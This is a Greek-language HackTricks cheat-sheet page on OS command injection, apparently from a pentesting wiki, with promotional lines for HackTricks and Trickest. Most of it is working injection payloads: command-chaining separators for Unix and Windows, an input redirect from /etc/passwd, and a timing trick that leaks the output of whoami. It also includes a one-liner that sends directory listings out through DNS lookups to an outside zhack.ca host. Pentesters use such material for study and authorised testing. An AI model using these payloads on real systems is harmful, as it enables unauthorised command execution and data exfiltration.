Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια του github.
Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
Τι είναι η εισβολή εντολής;
Η εισβολή εντολής επιτρέπει την εκτέλεση αυθαίρετων εντολών λειτουργικού συστήματος από έναν εισβολέα στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να διαρρεύσουν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον εισβολέα να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και του υποκείμενου συστήματος.
Πλαίσιο
Ανάλογα με το πού γίνεται η εισαγωγή της εισόδου σας ενδέχεται να χρειαστεί να τερματίσετε το πλαίσιο που παραθέτετε (χρησιμοποιώντας " ή ') πριν από τις εντολές.
Εισβολή/Εκτέλεση Εντολής
#Both Unix and Windows supportedls||id; ls||id; ls||id; ls||id# Execute bothls|id; ls|id; ls|id; ls|id# Execute both (using a pipe)ls&&id; ls&&id; ls&&id; ls&&id# Execute 2º if 1º finish okls&id; ls&id; ls&id; ls&id# Execute both but you can only see the output of the 2ºls%0Aid# %0A Execute both (RECOMMENDED)#Only unix supported`ls`# ``$(ls)# $()ls; id# ; Chain commandsls${LS_COLORS:10:1}${IFS}id# Might be useful#Not executed but may be interesting> /var/www/html/out.txt #Try to redirect the output to a file< /etc/passwd #Try to send some input to the command
Παράκαμψη Περιορισμών
Εάν προσπαθείτε να εκτελέσετε αυθαίρετες εντολές μέσα σε ένα μηχάνημα Linux θα σας ενδιαφέρει να διαβάσετε για αυτές τις Παρακάμψεις:
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
Εξαγωγή δεδομένων με βάση το DNS
Βασισμένο στο εργαλείο από https://github.com/HoLyVieR/dnsbin το οποίο φιλοξενείται επίσης στο dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια στο GitHub.
Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε Πρόσβαση Σήμερα: